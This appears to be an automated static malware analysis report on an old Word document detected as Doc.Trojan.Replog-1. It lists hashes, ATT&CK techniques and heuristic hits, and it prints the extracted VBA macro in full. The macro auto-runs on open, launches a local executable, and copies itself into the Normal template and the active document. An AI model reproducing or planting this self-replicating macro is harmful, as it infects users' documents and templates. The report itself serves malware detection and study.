Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f07b8e871eed1046…

MALICIOUS

Office (OLE)

32.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f89723ca797add57463d69c2170a8502 SHA-1: 54193a7c71ad6661431200cef442accbd52b2827 SHA-256: f07b8e871eed104647be1adac1a2f0cf251a46d44207b6e40e0af74207b53a60
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1037.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1204.002 Malicious File: User Execution

The sample is a malicious Office document containing a VBA macro. The Document_Open macro executes the file 'I:\Eudora\Sys\Server.exe' using the Shell() function. It also attempts to copy its own macro code to the Normal template and the active document, likely to establish persistence or spread.

Heuristics 5

  • ClamAV: Doc.Trojan.Replog-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Replog-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 943 bytes
SHA-256: f45a0db727217905d47043eca04a7a470cf132e2e0f73e40e2c759ba8ccbbcbe
Detection
ClamAV: Doc.Trojan.Replog-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Close()

End Sub

Private Sub Document_New()

End Sub

Private Sub Document_Open()
On Error Resume Next
Shell "I:\Eudora\Sys\Server.exe"
Set TD = ThisDocument.VBProject.VBComponents(1)
Set AD = ActiveDocument.VBProject.VBComponents(1)
Set NT = NormalTemplate.VBProject.VBComponents(1)
VCode = TD.CodeModule.Lines(1, TD.CodeModule.CountOfLines)
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
NT.CodeModule.InsertLines 1, VCode
AD.CodeModule.InsertLines 1, VCode
ActiveDocument.Save
NormalTemplate.Save

Open "I:\Rep.log" For Append As #1
Print #1, "Active on " & Date
Close
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.